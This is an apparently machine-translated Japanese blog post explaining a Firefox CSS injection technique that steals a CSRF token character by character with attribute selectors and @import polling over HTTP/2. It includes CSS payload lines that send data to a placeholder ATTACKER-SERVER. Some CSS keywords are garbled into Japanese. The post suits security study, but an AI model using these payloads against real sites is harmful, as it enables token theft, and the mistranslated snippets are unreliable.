Firefox の CSS を使用してデータを盗む

Firefox の CSS を使用してデータを盗む

0x00 はじめに

数か月前、Firefox に脆弱性 (CVE-2019-17016) があることを発見しました。調査中に、Firefox の CSS を使用して単一のインジェクション ポイントからデータを盗むことができるデータ窃盗手法を発見しました。調査結果を皆さんと共有したいと思います。

0x01 背景

デモンストレーションの目的で、 <input>要素から CSRF トークンを盗むとします。

<input type="hidden" name="csrftoken" value="SOME_VALUE">

スクリプトを使用できないため (おそらく CSP が原因)、スタイルベースのインジェクションを探しています。従来のアプローチでは、次のように属性セレクタを使用します。

入力[名前='csrftoken'][値^='a'] {
  背景: url(//ATTACKER-SERVER/leak/a);
}
入力[名前='csrftoken'][値^='b'] {
  背景: url(//ATTACKER-SERVER/leak/b);
}
...
入力[名前='csrftoken'][値^='z'] {
  背景: url(//ATTACKER-SERVER/leak/z);
}

CSS ルールが適用されると、攻撃者は HTTP リクエストを受信して​​トークンの最初の文字を取得できます。次に、攻撃者は、以下に示すように、盗んだ最初の文字を含む別のスタイルシートを準備する必要があります。

入力[名前='csrftoken'][値^='aa'] {
  背景: url(//ATTACKER-SERVER/leak/aa);
}
入力[名前='csrftoken'][値^='ab'] {
  背景: url(//ATTACKER-SERVER/leak/ab);
}
...
入力[名前='csrftoken'][値^='az'] {
  背景: url(//ATTACKER-SERVER/leak/az);
}

通常、攻撃者は、後続のスタイルシートを提供するために、 <iframe>にすでに読み込まれているページを再読み込みする必要があります。

2018 年、Pepe Vila 氏は、Chrome の CSS 再帰インポートを悪用して、単一の注入ポイントで同じタスクを達成するという非常に優れたアイデアを思いつきました。 2019 年、Nathanial Lattimer (@d0nutptr) が、少し工夫を加えて同じ手法を再提案しました。以下では、この記事のアイディアに近い Lattimer の方法を簡単にまとめます (ただし、この調査中に Lattimer の以前の研究を知らなかったため、車輪の再発明だと思われる方もいるかもしれません)。

つまり、最初の注入では一連のimportが使用されます。

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

中心となる考え方は次のとおりです。

1. 最初は、最初の@importのみがスタイルシートを返し、他のステートメントは接続をブロックする状態になります。

2. 最初の@importスタイルシートを返しますが、トークンの最初の文字が漏れてしまいます。

3. 漏洩した最初のトークンがATTACKER-SERVERに到達すると、2 番目のimportブロックを停止し、最初の文字を含むスタイルシートを返して、2 番目の文字を漏洩させようとします。

4. 2 番目に漏洩した文字がATTACKER-SERVERに到達すると、3 番目のimportブロックを停止します。

この手法が機能するのは、Chrome がimport非同期的に処理するためです。そのため、 importがブロックを停止すると、Chrome は直ちにステートメントを解析してルールを適用します。

0x02 Firefoxとスタイルシートの処理

上記の方法は、スタイルシートを Chrome とはまったく異なる方法で処理する Firefox では機能しません。ここでは、いくつかの事例を使ってその違いを説明します。

まず、Firefox はスタイルシートを同期的に処理します。したがって、スタイルシートに複数のimportがある場合、Firefox はすべてのimportが処理された場合にのみ CSS ルールを適用します。次のケースを考えてみましょう。

<スタイル>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</スタイル>

最初の@importページの背景を青に設定する CSS ルールを返し、後続のimportがブロッキング状態 (つまり、何も返されず、HTTP 接続がハングする) であるとします。 Chrome ではページがすぐに青色に変わりますが、Firefox では何も起こりません。

これを修正するには、すべてのimport別々の<style>要素に配置します。

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

上記のコードでは、Firefox はすべてのスタイルシートを個別に処理するため、ページはすぐに青色に変わり、その他のimportバックグラウンドで処理されます。

しかし、ここで別の問題が発生します。10 文字を含むトークンを盗むとします。

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox はすぐに 10 件のimportをキューに追加します。最初のimportを処理した後、Firefox は既知の文字列を含む別のリクエストをキューに追加します。ここでの問題は、リクエストがキューの最後に追加されることです。デフォルトでは、ブラウザには同じサーバーへの同時接続が 6 つまでという制限があります。したがって、サーバーへの接続がすでに 6 つブロックされているため、既知の文字を含むリクエストはターゲット サーバーに到達せず、最終的にデッドロックが発生します。

0x03 HTTP/2

6 つの接続の制限は TCP 層によって決定されるため、単一のサーバーに対して同時に存在できる TCP 接続は 6 つだけです。この場合、HTTP/2 が役に立つと思います。 HTTP/2 には多くの利点があります。たとえば、単一の接続を介して複数の HTTP リクエストを送信できるため (多重化とも呼ばれます)、パフォーマンスが大幅に向上します。

Firefox では、単一の HTTP/2 接続に対する同時リクエストの数も制限されていますが、デフォルトではその制限は100です (具体的な設定については、 about:confignetwork.http.spdy.default-concurrentを参照してください)。より多くの同時実行が必要な場合は、別のホスト名を使用して、Firefox に 2 番目の TCP 接続を強制的に作成させることができます。たとえば、 https://localhost:3000へのリクエストを100https://127.0.0.1:3000へのリクエストを50作成すると、Firefox は 2 つの TCP 接続を作成します。

0x04 搾取

これで準備はすべて整いました。主なエクスプロイトのシナリオは次のとおりです。

1. エクスプロイトコードは HTTP/2 に基づいています。

2. /polling/:session/:indexエンドポイントは CSS を返す可能性があり、 :index文字がリークされます。このリクエストは、前のリクエストがindex-1文字を正常にリークするまでブロックされます。 :sessionパス パラメータは、複数の攻撃動作を区別するために使用されます。

3. /leak/:session/:valueエンドポイントを介してトークン全体を漏洩します。ここで:value最後の文字だけではなく、取得された完全な値です。

4. Firefox に同じサーバーへの 2 つの TCP 接続を強制的に開始させるために、ここではhttps://localhost:3000https://127.0.0.1:3000という 2 つのエンドポイントが使用されます。

5. エンドポイント/generateサンプル コードを生成するために使用されます。

この方法でcsrftoken盗むことを目的としたテスト プラットフォームを作成しました。ここから直接アクセスできます。

さらに、PoC コードも GitHub でホストしており、攻撃プロセスはここにあるビデオで確認できます。

興味深いことに、HTTP/2 を使用しているため、攻撃は非常に高速で、トークン全体を 3 秒以内に取得できます。

0x05 概要

この記事では、ページをリロードせずに CSS 経由でデータを盗むためにインジェクション ポイントを悪用する方法を説明しました。ここで重要な点は 2 つあります。

1. @importルールを複数のスタイルシートに分割して、後続のimportによってブラウザがスタイルシート全体の処理をブロックしないようにします。

2. TCP 同時接続制限を回避するには、HTTP/2 を介して攻撃を開始する必要があります。

以上が、Firefox ブラウザで CSS を使用してデータを盗む方法についてご紹介しました。お役に立てれば幸いです。123WORDPRESS.COM ウェブサイトをご愛顧いただき、誠にありがとうございます。

<<:  DockerはClickHouseをインストールし、データテストを初期化します

>>:  入力テキスト ボックスと画像検証コードの位置合わせの問題 (画像は常に入力より 1 つ上になります)

推薦する

HTMLフォーム要素の包括的な理解

以下のように表示されます。 XML/HTML コードコンテンツをクリップボードにコピー<!DO...

Linux (Centos7) に mysql8.0.18 をインストールするチュートリアル図

1 インストールリソースパッケージmysql-8.0.18-1.el7.x86_64.rpm-bun...

Docker-compose インストール yml ファイルの設定方法

目次1. オフラインインストール2. オンラインインストール3. アンインストール4. ymlファイ...

Vue diffアルゴリズムの完全な分析

目次序文Vue 更新ビューパッチ同じVノードパッチVノード更新子供序文Vue は仮想 DOM を使用...

Linux でリモート MySQL データベースを手動で展開する方法の詳細な説明

1. mysql をインストールします。次のコマンドを実行して、YUM ソースを更新します。 rpm...

CentOS 7にMySQLをインストールする詳細な手順

CentOS7では、MySQLをインストールすると、MariaDBもデフォルトでインストールされます...

Dockerコンテナ内のホストのホスト名が取得できない問題の解決方法

Node.js環境でテストが通っています。他の言語でも同様です。環境変数を取得する方法を使うだけです...

JavaScript コードを省略する一般的な方法の概要

目次序文矢印関数一般的な配列操作をマスターするスプレッド演算子オブジェクトの省略形構造化割り当てデー...

Vue プロジェクト @change 複数のパラメータを使用して複数のイベントを渡す

まず、変更イベントは 1 つだけです。 changelevel() //値を選択選択を変更して行の値...

Vue Router の 10 の高度なヒントのまとめ

序文Vue Router は、Vue.js の公式ルーティング マネージャーです。 Vue.js の...

Dockerの国内イメージソースを変更する方法

Dockerデーモンのアクセラレータを構成する設定ファイルから Docker を起動し、/etc/d...

WeChatミニプログラム公式顔認証の詳しい説明

ミニプログラムはユーザーの個人情報を収集してアップロードしましたが、拒否されました。こんにちは、ミニ...

iframe src 割り当ての問題 (サーバー側)

今日この問題に遭遇しました。サーバー側でiframeのsrc値を再割り当てし、iframeにIDを追...

MySQLの実行原理、論理階層化、データベース処理エンジンの変更について詳しく説明します

長い間 MySQL を使ってきたので、SQL 文はすでに覚えていると思います。そこで、その実行原理を...